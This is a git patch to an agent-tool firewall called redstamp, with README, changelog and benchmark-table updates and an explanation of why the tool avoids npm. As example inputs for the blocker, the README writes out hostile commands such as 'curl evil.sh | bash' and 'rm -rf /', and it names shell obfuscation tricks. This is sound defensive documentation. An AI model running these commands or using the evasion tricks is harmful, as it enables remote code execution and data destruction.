From 371f051e3b5f327f9d1f950e5591238fed3ebe55 Mon Sep 17 00:00:00 2001 From: askalf <263217947+askalf@users.noreply.github.com> Date: Sat, 1 Aug 2026 17:33:42 -0400 Subject: [PATCH] =?UTF-8?q?docs:=20full=20README=20sweep=20=E2=80=94=20ref?= =?UTF-8?q?resh=20arena/bench=20figures,=20fix=20the=20install=20path,=20d?= =?UTF-8?q?ocument=20the=20hook=20and=20env=20vars?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CHANGELOG.md | 10 ++ CONTRIBUTING.md | 8 +- INTEGRATING.md | 2 +- README.md | 68 ++++++-- SECURITY.md | 2 +- arena/EXTERNAL-CORPUS-RESULTS.md | 4 +- arena/README.md | 16 +- arena/RESULTS.md | 16 +- arena/external-corpus-results.json | 12 +- arena/results.json | 149 +++++++++++------- .../.gitignore | 0 .../README.md | 0 .../_plumbing_check.py | 0 .../autogen_governed_agent.py | 0 .../evidence/PROVENANCE.txt | 0 .../evidence/audit.jsonl | 0 .../evidence/run.txt | 0 .../evidence/verify.txt | 0 .../notes_mcp_server.py | 0 .../requirements.txt | 0 .../verify_audit.mjs | 2 +- .../warden.config.json | 0 .../.gitignore | 0 .../README.md | 0 .../_plumbing_check.mjs | 0 .../evidence/PROVENANCE.txt | 0 .../evidence/audit.jsonl | 0 .../evidence/run.txt | 0 .../evidence/verify.txt | 0 .../langgraph_governed_graph.mjs | 0 .../notes_mcp_server.mjs | 0 .../package.json | 2 +- .../verify_audit.mjs | 2 +- .../.gitignore | 0 .../README.md | 0 .../_plumbing_check.mjs | 0 .../agent_governed_flow.mjs | 0 .../evidence/PROVENANCE.txt | 0 .../evidence/audit.jsonl | 0 .../evidence/run.txt | 0 .../evidence/verify.txt | 0 .../notes_mcp_server.mjs | 0 .../package.json | 2 +- .../verify_audit.mjs | 2 +- .../warden.config.json | 0 package-lock.json | 4 +- src/daemon-cli.mjs | 2 +- 47 files changed, 193 insertions(+), 110 deletions(-) rename examples/{autogen-warden => autogen-redstamp}/.gitignore (100%) rename examples/{autogen-warden => autogen-redstamp}/README.md (100%) rename examples/{autogen-warden => autogen-redstamp}/_plumbing_check.py (100%) rename examples/{autogen-warden => autogen-redstamp}/autogen_governed_agent.py (100%) rename examples/{autogen-warden => autogen-redstamp}/evidence/PROVENANCE.txt (100%) rename examples/{autogen-warden => autogen-redstamp}/evidence/audit.jsonl (100%) rename examples/{autogen-warden => autogen-redstamp}/evidence/run.txt (100%) rename examples/{autogen-warden => autogen-redstamp}/evidence/verify.txt (100%) rename examples/{autogen-warden => autogen-redstamp}/notes_mcp_server.py (100%) rename examples/{autogen-warden => autogen-redstamp}/requirements.txt (100%) rename examples/{autogen-warden => autogen-redstamp}/verify_audit.mjs (96%) rename examples/{autogen-warden => autogen-redstamp}/warden.config.json (100%) rename examples/{langgraph-warden => langgraph-redstamp}/.gitignore (100%) rename examples/{langgraph-warden => langgraph-redstamp}/README.md (100%) rename examples/{langgraph-warden => langgraph-redstamp}/_plumbing_check.mjs (100%) rename examples/{langgraph-warden => langgraph-redstamp}/evidence/PROVENANCE.txt (100%) rename examples/{langgraph-warden => langgraph-redstamp}/evidence/audit.jsonl (100%) rename examples/{langgraph-warden => langgraph-redstamp}/evidence/run.txt (100%) rename examples/{langgraph-warden => langgraph-redstamp}/evidence/verify.txt (100%) rename examples/{langgraph-warden => langgraph-redstamp}/langgraph_governed_graph.mjs (100%) rename examples/{langgraph-warden => langgraph-redstamp}/notes_mcp_server.mjs (100%) rename examples/{langgraph-warden => langgraph-redstamp}/package.json (92%) rename examples/{langgraph-warden => langgraph-redstamp}/verify_audit.mjs (96%) rename examples/{openai-agents-warden => openai-agents-redstamp}/.gitignore (100%) rename examples/{openai-agents-warden => openai-agents-redstamp}/README.md (100%) rename examples/{openai-agents-warden => openai-agents-redstamp}/_plumbing_check.mjs (100%) rename examples/{openai-agents-warden => openai-agents-redstamp}/agent_governed_flow.mjs (100%) rename examples/{openai-agents-warden => openai-agents-redstamp}/evidence/PROVENANCE.txt (100%) rename examples/{openai-agents-warden => openai-agents-redstamp}/evidence/audit.jsonl (100%) rename examples/{openai-agents-warden => openai-agents-redstamp}/evidence/run.txt (100%) rename examples/{openai-agents-warden => openai-agents-redstamp}/evidence/verify.txt (100%) rename examples/{openai-agents-warden => openai-agents-redstamp}/notes_mcp_server.mjs (100%) rename examples/{openai-agents-warden => openai-agents-redstamp}/package.json (90%) rename examples/{openai-agents-warden => openai-agents-redstamp}/verify_audit.mjs (96%) rename examples/{openai-agents-warden => openai-agents-redstamp}/warden.config.json (100%) diff --git a/CHANGELOG.md b/CHANGELOG.md index fd698ed..8f3ebf7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ ## [Unreleased] +### Changed +- **npm is a pointer, permanently.** `@askalf/redstamp` on the registry is now a + deprecated stub (`npm-stub/`, v0.0.3) that throws on import and points at the + signed GitHub release. npm's automated content scan rejects the real tarball — + its detection-signature corpus reads as malware — and an allowlist review was + declined. The signatures will not be obfuscated or split to pass a scanner. +- **Arena + bench figures refreshed** against the current 291-sample / 25-family + corpus (was 245 / 19): deterministic recall 96.5% -> **100%**, precision 100%. + The published arena table had been scored on a corpus no longer in the tree. + ## [0.7.3] - 2026-08-01 ### Fixed — classifier precision, measured against the marketplace corpus (#107–#111) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index d050d3b..0a6a0cb 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -57,6 +57,8 @@ crash or a new high-severity finding will block the change. ## Releases Releases are automated: bump `version` in `package.json` on `master` and -`auto-release.yml` tags it, cuts a GitHub release from `CHANGELOG.md`, and -publishes to npm via OIDC trusted publishing (no tokens). A normal PR needs no -release steps. +`auto-release.yml` tags it and cuts a GitHub release from `CHANGELOG.md`, +attaching a Sigstore-signed tarball. That tarball **is** the distribution — +redstamp is not published to npm (the registry name holds a deprecated pointer +stub; npm's content scan rejects the real package and an allowlist review was +declined). A normal PR needs no release steps. diff --git a/INTEGRATING.md b/INTEGRATING.md index 3e91fa7..f284ef9 100644 --- a/INTEGRATING.md +++ b/INTEGRATING.md @@ -1,6 +1,6 @@ # Integrating redstamp into a fleet -Three surfaces, depending on how an agent runs. Until `@askalf/redstamp` is published, depend on it with a path: `"@askalf/redstamp": "file:../redstamp"` (swap to a version on publish). +Three surfaces, depending on how an agent runs. redstamp is **not distributed on npm** (the registry name is a deprecated pointer stub — see the README), so depend on the signed release tarball: `"@askalf/redstamp": "https://github.com/askalf/redstamp/releases/latest/download/redstamp.tgz"`, or on a local path (`file:../redstamp`) inside a monorepo. ## 1. Claude Code (operator sessions, hands in Claude-Login mode, dock) — DONE Register the PreToolUse hook in `~/.claude/settings.json` (a new group beside any existing hooks): diff --git a/README.md b/README.md index a8a57a5..0eb25b4 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ > _redstamp — **own your agent security**. A guard between an agent and its tools. Part of **[Own Your Agent Security](https://github.com/askalf/agent-security-stack)** — own your AI infrastructure instead of renting it by the token._ -> _**Formerly `warden`.** Renamed to `redstamp` for the npm release; the GitHub repo redirects and the legacy `warden*` CLI aliases keep working. Env vars keep the `WARDEN_` prefix for compatibility._ +> _**Formerly `warden`.** The GitHub repo redirects and the legacy `warden*` CLI aliases keep working. Env vars keep the `WARDEN_` prefix for compatibility._ [![release](https://img.shields.io/github/v/release/askalf/redstamp?logo=github)](https://github.com/askalf/redstamp/releases/latest) [![ci](https://github.com/askalf/redstamp/actions/workflows/ci.yml/badge.svg)](https://github.com/askalf/redstamp/actions/workflows/ci.yml) @@ -30,17 +30,21 @@ It sits between an agent and its tools, and on every action it: Deterministic and offline by default (zero runtime deps). An optional **LLM judge tier** refines gray-zone calls — and it can only *raise* risk, never lower a block. -Coverage is **measured, not assumed**: `npm run bench` scores a 245-sample labeled corpus across 19 attack families (RCE, destruction, exfil, SSRF, persistence, security-disabling, container escape, prompt-injection, argument-injection, …) and reports recall + false-positive rate. Today: **97% deterministic recall, 100% precision (zero false positives)**. The remaining ~3% is the *evasion bucket* — `X=rm; $X`, `${IFS}` padding, hex/base64-encoded payloads that a regex can't safely deobfuscate — which redstamp deterministically routes to the optional [LLM judge](#optional-llm-judge) instead of guessing. Three adversarial batteries (`bench/edgecases.mjs`, `bench/stress.mjs`, `bench/stress2.mjs`) and a ReDoS guard (`bench/redos.mjs` — every pattern under 1ms at the 16 KB input cap) keep it honest. Threat model: [SECURITY.md](SECURITY.md). +Coverage is **measured, not assumed**: `npm run bench` scores a 291-sample labeled corpus across 25 attack families (RCE, destruction, device wipe, exfil, SSRF, persistence, privilege escalation, kernel modules, security-disabling, container escape, prompt-injection, parser differentials, …) and reports recall + false-positive rate. Today: **100% deterministic recall (165/165 malicious blocked), 100% precision (0/82 benign over-flagged)**. The residue is *under-gating*, not misses: 1 of 44 risky samples resolves to `allow` instead of a gate. Obfuscated payloads — `X=rm; $X`, `${IFS}` padding, hex/base64-encoded commands — are resolved deterministically rather than guessed at (obfuscation family: 5/5 blocked); genuinely ambiguous calls route to the optional [LLM judge](#optional-llm-judge). Three adversarial batteries (`bench/edgecases.mjs`, `bench/stress.mjs`, `bench/stress2.mjs`) and a ReDoS guard (`bench/redos.mjs` — 152 patterns × 14 adversarial inputs at a 16 KB cap, every one inside a 25 ms budget) keep it honest. Threat model: [SECURITY.md](SECURITY.md). ## Quick start -> Not yet on npm — installs straight from the signed GitHub release: +> **Not distributed on npm, and won't be.** `@askalf/redstamp` on the registry is a deprecated pointer stub that throws on import: npm's automated content scan reads redstamp's detection-signature corpus as malware and an allowlist review was declined. We won't obfuscate or split those signatures to pass a scanner — that's detection evasion, and it would destroy the plain-source auditability that makes a security tool worth trusting. **`npm i @askalf/redstamp` gets you the stub, not redstamp.** + +Install from the Sigstore-signed GitHub release instead — verify provenance first, then install globally so the `redstamp`, `redstamp-hook`, `redstamp-mcp`, and `redstamp-serve` CLIs land on your PATH: ```sh -npm i https://github.com/askalf/redstamp/releases/latest/download/redstamp.tgz +gh release download --repo askalf/redstamp --pattern 'redstamp.tgz*' +gh attestation verify redstamp.tgz --owner askalf # exits non-zero if it isn't ours +npm i -g ./redstamp.tgz ``` -Or the one-line global install (puts the `redstamp` CLI on your PATH): +Or the one-line global install (same signed artifact, verification handled for you): ```sh curl -fsSL https://ownyourstack.sprayberrylabs.com/redstamp.sh | sh @@ -50,9 +54,9 @@ curl -fsSL https://ownyourstack.sprayberrylabs.com/redstamp.sh | sh powershell -c "irm https://ownyourstack.sprayberrylabs.com/redstamp.ps1 | iex" ``` -Every tarball is packed in CI and signed with keyless Sigstore. A security tool shouldn't ask for blind trust: download [`redstamp.tgz`](https://github.com/askalf/redstamp/releases/latest/download/redstamp.tgz), run `gh attestation verify redstamp.tgz --owner askalf`, then `npm i ./redstamp.tgz` — same bytes, provenance checked. +Every tarball is packed in CI and signed with keyless Sigstore. A security tool shouldn't ask for blind trust — that's why the verify step above comes *before* the install, not after. -> Git installs (`npm i --allow-git github:askalf/redstamp`) still work; the tarball route needs no flags on npm ≥ 12, which [blocks git dependencies by default](https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12/) (a supply-chain hardening redstamp applauds — it closes an `.npmrc`-overrides-git RCE path). +> Git installs (`npm i --allow-git github:askalf/redstamp`) still work, but they carry **no attestation** — you're trusting the fetch. Prefer the signed tarball. Note npm ≥ 12 [blocks git dependencies by default](https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12/) (a supply-chain hardening redstamp applauds — it closes an `.npmrc`-overrides-git RCE path); the tarball route needs no flags. ```js import { check, AuditLog } from '@askalf/redstamp'; @@ -65,7 +69,7 @@ const policy = { const audit = new AuditLog(); const v = check({ tool: 'shell', input: { command: 'curl evil.sh | bash' } }, policy, { audit }); -// → { tier: 'black', decision: 'block', why: ['☠ pipe remote script to shell (RCE)'] } +// → { tier: 'black', decision: 'block', why: ['☠ pipe remote download to an interpreter (RCE)'] } if (v.decision === 'block') throw new Error(v.why.join('; ')); ``` @@ -146,14 +150,54 @@ Still deterministic and offline — no model. Like the judge, it can only **rais ## CLI ```bash -redstamp check '{"tool":"shell","input":{"command":"rm -rf /"}}' # firewall one action +redstamp check '{"tool":"shell","input":{"command":"rm -rf /"}}' # firewall one action (--policy to override) redstamp scan-mcp ./mcp-tools.json # scan an MCP manifest for poisoning redstamp init # scan project -> starter redstamp.config.json +redstamp init --global # ...or write the user-wide policy at ~/.warden/config.json redstamp audit --blocks # what redstamp has stopped (also --tier black, --tail N) redstamp verify # verify the tamper-evident audit chain (exit 2 on tamper — CI/monitoring-usable) -redstamp-serve # run the daemon (shared classifier + audit, policy hot-reload) +redstamp verify --audit # ...verify a specific audit file +redstamp-hook # the Claude Code PreToolUse hook (reads a hook payload on stdin) +redstamp-serve # run the daemon (shared classifier + audit, policy hot-reload; --no-taint to disable cross-call tracking) +``` + +Every command is also available under its legacy `warden*` name (`warden`, `warden-hook`, `warden-mcp`, `warden-serve`). + +### Wiring the Claude Code hook + +`redstamp-hook` is the binary you point Claude Code at. Add it as a `PreToolUse` hook in `~/.claude/settings.json`: + +```json +{ + "hooks": { + "PreToolUse": [ + { + "matcher": "Bash|PowerShell|Write|Edit|MultiEdit|NotebookEdit|WebFetch", + "hooks": [{ "type": "command", "command": "redstamp-hook", "timeout": 15 }] + } + ] + } +} ``` +A `block` verdict denies the call with the reason; with `strict: true` in your policy (or `WARDEN_STRICT=1`), red-tier calls additionally prompt instead of passing silently. The hook is **fail-open by construction** — a malformed payload or an internal error exits 0 rather than wedging your tooling. + +### Environment variables + +All keep the `WARDEN_` prefix for compatibility (see the rename note at the top). + +| var | what it does | +|---|---| +| `WARDEN_CONFIG` | override the policy file path | +| `WARDEN_AUDIT` | override the audit-log path (`redstamp audit` / `verify` read it) | +| `WARDEN_STRICT` | `1` → prompt on red-tier calls instead of deferring | +| `WARDEN_READ_MS` | hook stdin read timeout | +| `WARDEN_SOCKET` / `WARDEN_INFO` | daemon socket path / discovery file | +| `WARDEN_TOKEN` | daemon capability token (normally minted for you into the `0600` discovery file) | +| `WARDEN_NO_TAINT` | disable cross-call taint tracking in the daemon | +| `WARDEN_JUDGE_ENDPOINT` / `WARDEN_JUDGE_KEY` / `WARDEN_JUDGE_MODEL` | judge tier endpoint, key, model (key falls back to `ANTHROPIC_API_KEY`) | +| `WARDEN_FALLBACK_HOOK` / `WARDEN_NODE` | native fast hook: path to the Node fallback, and the node binary to run it with | + > **Windows / Git Bash:** MSYS rewrites Unix-looking path arguments before `redstamp` (a native node process) sees them, so a bare `scan-mcp /srv/tools.json` or `--policy /etc/redstamp.config.json` can arrive mangled (e.g. prefixed with `C:/Program Files/Git/…`) and miss the file. A quoted JSON action (`redstamp check '{…}'`) is one arg starting with `{`, so it's safe — only path args are affected. Prefix with `MSYS_NO_PATHCONV=1` and use drive-letter paths (`C:/…`), or run from PowerShell/cmd. ## Daemon (optional) @@ -162,7 +206,7 @@ redstamp-serve # run the da ## Native fast hook -A node hook pays node's startup + module-load on every tool call (~78ms here). [`native/redstamp-fast`](native/README.md) is a tiny compiled client (Go, zero deps, single static binary) that just pipes the hook's stdin to the daemon over loopback and prints the verdict back — **4.3× faster, ~60ms saved per call**, with all logic still in the daemon. Build it, run `redstamp-serve`, and point your PreToolUse hook at the binary. **Fail-safe, not fail-open:** if the daemon is unreachable it falls back to the in-process Node hook — slower, but it still screens — and only fails open if that fallback is gone too, so it never blocks your tooling and never silently stops screening. +A node hook pays node's startup + module-load on every tool call (~78ms here). [`native/warden-fast`](native/README.md) is a tiny compiled client (Go, zero deps, single static binary) that just pipes the hook's stdin to the daemon over loopback and prints the verdict back — **4.3× faster, ~60ms saved per call**, with all logic still in the daemon. Build it, run `redstamp-serve`, and point your PreToolUse hook at the binary. **Fail-safe, not fail-open:** if the daemon is unreachable it falls back to the in-process Node hook — slower, but it still screens — and only fails open if that fallback is gone too, so it never blocks your tooling and never silently stops screening. ## Demo @@ -177,7 +221,7 @@ npm test # node --test npm run arena ``` -[`arena/`](arena/) scores **any** agent firewall — not just redstamp — on the same 245-sample labeled corpus through one language-agnostic pipe, and reports **recall, precision, and determinism together** ([results](arena/RESULTS.md)). The `allow-all` / `block-all` anchor rows show why: block-all gets perfect recall by breaking all your real work, allow-all gets perfect precision by catching nothing — either number alone is meaningless. An adapter is any executable speaking JSONL in / verdicts out ([protocol](arena/protocol.md)); one ships for **LlamaFirewall**, and tools guarding a *different layer* (LLM I/O, network wire) are mapped by threat-model axes instead of force-ranked on a corpus they weren't built for. Honest caveat: the corpus is redstamp-authored, so redstamp scoring well on it is expected, not proof — neutrality is earned through outside corpus PRs and more adapters. +[`arena/`](arena/) scores **any** agent firewall — not just redstamp — on the same 291-sample labeled corpus through one language-agnostic pipe, and reports **recall, precision, and determinism together** ([results](arena/RESULTS.md)). The `allow-all` / `block-all` anchor rows show why: block-all gets perfect recall by breaking all your real work, allow-all gets perfect precision by catching nothing — either number alone is meaningless. An adapter is any executable speaking JSONL in / verdicts out ([protocol](arena/protocol.md)); one ships for **LlamaFirewall**, and tools guarding a *different layer* (LLM I/O, network wire) are mapped by threat-model axes instead of force-ranked on a corpus they weren't built for. Honest caveat: the corpus is redstamp-authored, so redstamp scoring well on it is expected, not proof — neutrality is earned through outside corpus PRs and more adapters. ## The agent-security stack diff --git a/SECURITY.md b/SECURITY.md index f7d46bb..faadfa6 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -60,4 +60,4 @@ Deterministically, per tool call: - **Authenticated daemon** — the shared daemon is reachable only with a capability token published into a `0600` file, so a local process can't abuse the judge tier (LLM calls) or pollute the audit. The token is compared in constant time. An unauthenticated caller is rejected and the hook falls back to its own in-process check (fail-safe). - **No ReDoS** — every detection pattern is bounded; `bench/redos.mjs` times them all against adversarial input at the 16 KB cap (worst case <1ms), so a crafted input can't stall the hook into a fail-open timeout. Continuously re-checked by fuzzing (`fuzz/`, ClusterFuzzLite). -Coverage today: **245-sample labeled corpus across 19 attack families — 97% deterministic recall, 100% precision (0 false positives)** (`npm run bench`). The remaining ~3% is the evasion bucket (variable-indirection, `${IFS}`, encoded payloads) which redstamp routes to the optional LLM judge rather than guess. Three adversarial batteries (`bench/edgecases.mjs`, `bench/stress.mjs`, `bench/stress2.mjs`) exercise the boundaries. +Coverage today: **291-sample labeled corpus across 25 attack families — 100% deterministic recall (165/165), 100% precision (0/82 false positives)** (`npm run bench`). The residue is under-gating rather than misses: 1 of 44 risky samples resolves to allow instead of a gate. Obfuscated payloads (variable-indirection, `${IFS}`, encoded commands) are resolved deterministically; genuinely ambiguous calls route to the optional LLM judge rather than being guessed at. Three adversarial batteries (`bench/edgecases.mjs`, `bench/stress.mjs`, `bench/stress2.mjs`) exercise the boundaries. diff --git a/arena/EXTERNAL-CORPUS-RESULTS.md b/arena/EXTERNAL-CORPUS-RESULTS.md index c9cd843..e8ecc95 100644 --- a/arena/EXTERNAL-CORPUS-RESULTS.md +++ b/arena/EXTERNAL-CORPUS-RESULTS.md @@ -6,13 +6,13 @@ Scored 7 firewall(s) through the same stdin/stdout pipe (see [protocol.md](proto | firewall | offline | deterministic | recall (block) | recall (+gate) | precision | under-gate | median µs | |---|---|---|---|---|---|---|---| -| warden | yes | yes | 100.0% | 100.0% | **100%** | 1/8 | 55 | +| warden | yes | yes | 100.0% | 100.0% | **100%** | 1/8 | 71 | | regex deny-list (baseline) | yes | yes | 30.6% | 30.6% | 95.8% | 8/8 | 2 | | allow-all (null) | yes | yes | 0.0% | 0.0% | **100%** | 8/8 | 0 | | block-all (paranoid) | yes | yes | 100.0% | 100.0% | 0.0% | 0/8 | 0 | | Pipelock (scan API) | yes | yes | 8.3% | 8.3% | 95.8% | 5/8 | 0 | | AEGIS (pre-execution check) | yes | yes | 0.0% | 55.6% | 95.8% | 5/8 | 1000 | -| mcp-firewall (inbound pipeline) | yes | yes | 8.3% | 100.0% | 95.8% | 0/8 | 33 | +| mcp-firewall (inbound pipeline) | yes | yes | 8.3% | 100.0% | 95.8% | 0/8 | 34 | - **recall (block)** — malicious actions hard-blocked. **recall (+gate)** — blocked *or* escalated to a human. - **precision** — benign actions NOT blocked (100% = zero false positives). **under-gate** — risky actions silently allowed. diff --git a/arena/README.md b/arena/README.md index cf97c68..9660683 100644 --- a/arena/README.md +++ b/arena/README.md @@ -20,13 +20,13 @@ tables are CI-generated, all rows scored on the same neutral host). | firewall | recall (block) | recall (+gate) | precision | under-gate | deterministic | |---|---|---|---|---|---| -| **warden** (default, offline) | **96.5%** | **96.5%** | **100%** | 1/35 | yes | -| regex deny-list (naive baseline) | 15.4% | 15.4% | 98.5% | 35/35 | yes | -| **Pipelock** v3.0.0 (scan API, out-of-box) | 7.0% | 7.0% | 95.5% | 29/35 | yes | -| **AEGIS** v0.2.0 (pre-execution `/check`, blocking) | 4.9% | **59.4%** | **100%** | 20/35 | yes | -| **mcp-firewall** v0.1.0 (inbound pipeline, starter) | 9.8% | **100%** | 95.5% | 0/35 | yes | -| allow-all (null) | 0% | 0% | 100% | 35/35 | yes | -| block-all (paranoid) | 100% | 100% | 0% | 0/35 | yes | +| **warden** (default, offline) | **100.0%** | **100.0%** | **100%** | 1/44 | yes | +| regex deny-list (naive baseline) | 17.6% | 17.6% | 96.3% | 44/44 | yes | +| **Pipelock** v3.0.0 (scan API, out-of-box) | 6.1% | 6.1% | 96.3% | 38/44 | yes | +| **AEGIS** v0.2.0 (pre-execution `/check`, blocking) | 4.2% | **53.9%** | **100%** | 29/44 | yes | +| **mcp-firewall** v0.1.0 (inbound pipeline, starter) | 8.5% | **100%** | 96.3% | 0/44 | yes | +| allow-all (null) | 0% | 0% | 100% | 44/44 | yes | +| block-all (paranoid) | 100% | 100% | 0% | 0/44 | yes | The two anchors are the point: **block-all** gets perfect recall by blocking all your real work; **allow-all** gets perfect precision by catching nothing. A @@ -61,7 +61,7 @@ head-to-head loss: ## What's measured, and why each matters -The corpus (`corpus.json`, 245 samples, 19 attack families) labels every sample +The corpus (`corpus.json`, 291 samples, 25 attack families) labels every sample by what a correct firewall **should** do — `block` (malicious), `approve` (risky / dual-use, escalate to a human), or `allow` (benign). Then, per tool: diff --git a/arena/RESULTS.md b/arena/RESULTS.md index ce38c76..09d8407 100644 --- a/arena/RESULTS.md +++ b/arena/RESULTS.md @@ -1,18 +1,18 @@ # Arena results -Corpus: **245 samples** · 19 families · 143 malicious / 35 risky / 67 benign. +Corpus: **291 samples** · 25 families · 165 malicious / 44 risky / 82 benign. Scored 7 firewall(s) through the same stdin/stdout pipe (see [protocol.md](protocol.md)). Regenerate: `node arena/run.mjs`. | firewall | offline | deterministic | recall (block) | recall (+gate) | precision | under-gate | median µs | |---|---|---|---|---|---|---|---| -| warden | yes | yes | 96.5% | 96.5% | **100%** | 1/35 | 78 | -| regex deny-list (baseline) | yes | yes | 15.4% | 15.4% | 98.5% | 35/35 | 2 | -| allow-all (null) | yes | yes | 0.0% | 0.0% | **100%** | 35/35 | 0 | -| block-all (paranoid) | yes | yes | 100.0% | 100.0% | 0.0% | 0/35 | 0 | -| Pipelock (scan API) | yes | yes | 7.0% | 7.0% | 95.5% | 29/35 | 0 | -| AEGIS (pre-execution check) | yes | yes | 4.9% | 59.4% | **100%** | 20/35 | 1000 | -| mcp-firewall (inbound pipeline) | yes | yes | 9.8% | 100.0% | 95.5% | 0/35 | 55 | +| warden | yes | yes | 100.0% | 100.0% | **100%** | 1/44 | 84 | +| regex deny-list (baseline) | yes | yes | 17.6% | 17.6% | 96.3% | 44/44 | 1 | +| allow-all (null) | yes | yes | 0.0% | 0.0% | **100%** | 44/44 | 0 | +| block-all (paranoid) | yes | yes | 100.0% | 100.0% | 0.0% | 0/44 | 0 | +| Pipelock (scan API) | yes | yes | 6.1% | 6.1% | 96.3% | 38/44 | 0 | +| AEGIS (pre-execution check) | yes | yes | 4.2% | 53.9% | **100%** | 29/44 | 1000 | +| mcp-firewall (inbound pipeline) | yes | yes | 8.5% | 100.0% | 96.3% | 0/44 | 49 | - **recall (block)** — malicious actions hard-blocked. **recall (+gate)** — blocked *or* escalated to a human. - **precision** — benign actions NOT blocked (100% = zero false positives). **under-gate** — risky actions silently allowed. diff --git a/arena/external-corpus-results.json b/arena/external-corpus-results.json index 568a9ef..8da5a75 100644 --- a/arena/external-corpus-results.json +++ b/arena/external-corpus-results.json @@ -67,8 +67,8 @@ "underGate": 1, "underGateRate": 0.125, "errored": 0, - "latencyMedianMs": 0.055, - "latencyP99Ms": 14.292, + "latencyMedianMs": 0.071, + "latencyP99Ms": 19.81, "perFamilyBlockRecall": { "T1003.001": 1, "T1003.002": 1, @@ -123,7 +123,7 @@ "underGateRate": 1, "errored": 0, "latencyMedianMs": 0.002, - "latencyP99Ms": 0.36, + "latencyP99Ms": 0.387, "perFamilyBlockRecall": { "T1003.001": 0, "T1003.002": 0, @@ -306,7 +306,7 @@ "underGateRate": 0.625, "errored": 0, "latencyMedianMs": 0, - "latencyP99Ms": 3, + "latencyP99Ms": 4, "perFamilyBlockRecall": { "T1003.001": 0, "T1003.002": 0, @@ -363,7 +363,7 @@ "underGateRate": 0.625, "errored": 0, "latencyMedianMs": 1, - "latencyP99Ms": 1, + "latencyP99Ms": 4, "perFamilyBlockRecall": { "T1003.001": 0, "T1003.002": 0, @@ -419,7 +419,7 @@ "underGate": 0, "underGateRate": 0, "errored": 0, - "latencyMedianMs": 0.0325, + "latencyMedianMs": 0.0335, "latencyP99Ms": 1.251, "perFamilyBlockRecall": { "T1003.001": 1, diff --git a/arena/results.json b/arena/results.json index e94f76d..66eceaf 100644 --- a/arena/results.json +++ b/arena/results.json @@ -1,16 +1,22 @@ { "corpus": { - "total": 245, + "total": 291, "families": [ "benign", "container-escape", "destructive-fs", + "destructive-win", + "device-wipe", "exfil", + "exfil-bulk", "git-rce", "injection-skill", + "kernel-module", "obfuscation", + "parser-diff", "persistence-unix", "persistence-win", + "privesc", "rce-download", "rce-pipe", "reverse-shell", @@ -23,9 +29,9 @@ "windows-ttp" ], "counts": { - "block": 143, - "approve": 35, - "allow": 67 + "block": 165, + "approve": 44, + "allow": 82 } }, "results": [ @@ -43,26 +49,29 @@ "notes": "this repo, default posture (no LLM judge)", "available": true, "observedDeterministic": true, - "malicious": 143, - "benign": 67, - "risky": 35, - "recallBlock": 0.965034965034965, - "recallPrevent": 0.965034965034965, + "malicious": 165, + "benign": 82, + "risky": 44, + "recallBlock": 1, + "recallPrevent": 1, "precision": 1, "falsePositives": 0, "benignFriction": 0, "underGate": 1, - "underGateRate": 0.02857142857142857, + "underGateRate": 0.022727272727272728, "errored": 0, - "latencyMedianMs": 0.078, - "latencyP99Ms": 0.719, + "latencyMedianMs": 0.084, + "latencyP99Ms": 5.556, "perFamilyBlockRecall": { "container-escape": 1, - "destructive-fs": 0.8888888888888888, + "destructive-fs": 1, + "destructive-win": 1, + "device-wipe": 1, "exfil": 1, "git-rce": 1, "injection-skill": 1, - "obfuscation": 0.4, + "obfuscation": 1, + "parser-diff": 1, "persistence-unix": 1, "persistence-win": 1, "rce-download": 1, @@ -89,27 +98,30 @@ "notes": "naive roll-your-own floor", "available": true, "observedDeterministic": true, - "malicious": 143, - "benign": 67, - "risky": 35, - "recallBlock": 0.15384615384615385, - "recallPrevent": 0.15384615384615385, - "precision": 0.9850746268656716, - "falsePositives": 1, + "malicious": 165, + "benign": 82, + "risky": 44, + "recallBlock": 0.17575757575757575, + "recallPrevent": 0.17575757575757575, + "precision": 0.9634146341463414, + "falsePositives": 3, "benignFriction": 0, - "underGate": 35, + "underGate": 44, "underGateRate": 1, "errored": 0, - "latencyMedianMs": 0.002, - "latencyP99Ms": 0.2, + "latencyMedianMs": 0.001, + "latencyP99Ms": 0.203, "perFamilyBlockRecall": { "container-escape": 0, "destructive-fs": 0.3888888888888889, + "destructive-win": 0, + "device-wipe": 0, "exfil": 0, "git-rce": 0, "injection-skill": 0, "obfuscation": 0.4, - "persistence-unix": 0.21428571428571427, + "parser-diff": 0.875, + "persistence-unix": 0.2, "persistence-win": 0, "rce-download": 0.18181818181818182, "rce-pipe": 0, @@ -135,15 +147,15 @@ "notes": "sanity floor: 0% recall", "available": true, "observedDeterministic": true, - "malicious": 143, - "benign": 67, - "risky": 35, + "malicious": 165, + "benign": 82, + "risky": 44, "recallBlock": 0, "recallPrevent": 0, "precision": 1, "falsePositives": 0, "benignFriction": 0, - "underGate": 35, + "underGate": 44, "underGateRate": 1, "errored": 0, "latencyMedianMs": 0, @@ -151,10 +163,13 @@ "perFamilyBlockRecall": { "container-escape": 0, "destructive-fs": 0, + "destructive-win": 0, + "device-wipe": 0, "exfil": 0, "git-rce": 0, "injection-skill": 0, "obfuscation": 0, + "parser-diff": 0, "persistence-unix": 0, "persistence-win": 0, "rce-download": 0, @@ -181,13 +196,13 @@ "notes": "sanity ceiling: 100% recall / 0% precision — proves recall alone is gameable", "available": true, "observedDeterministic": true, - "malicious": 143, - "benign": 67, - "risky": 35, + "malicious": 165, + "benign": 82, + "risky": 44, "recallBlock": 1, "recallPrevent": 1, "precision": 0, - "falsePositives": 67, + "falsePositives": 82, "benignFriction": 0, "underGate": 0, "underGateRate": 0, @@ -197,10 +212,13 @@ "perFamilyBlockRecall": { "container-escape": 1, "destructive-fs": 1, + "destructive-win": 1, + "device-wipe": 1, "exfil": 1, "git-rce": 1, "injection-skill": 1, "obfuscation": 1, + "parser-diff": 1, "persistence-unix": 1, "persistence-win": 1, "rce-download": 1, @@ -245,26 +263,29 @@ "notes": "PARTIAL-AXIS: Pipelock's primary layer is the egress wire (proxy DLP / SSRF / injection scanning); its documented per-call surface is the 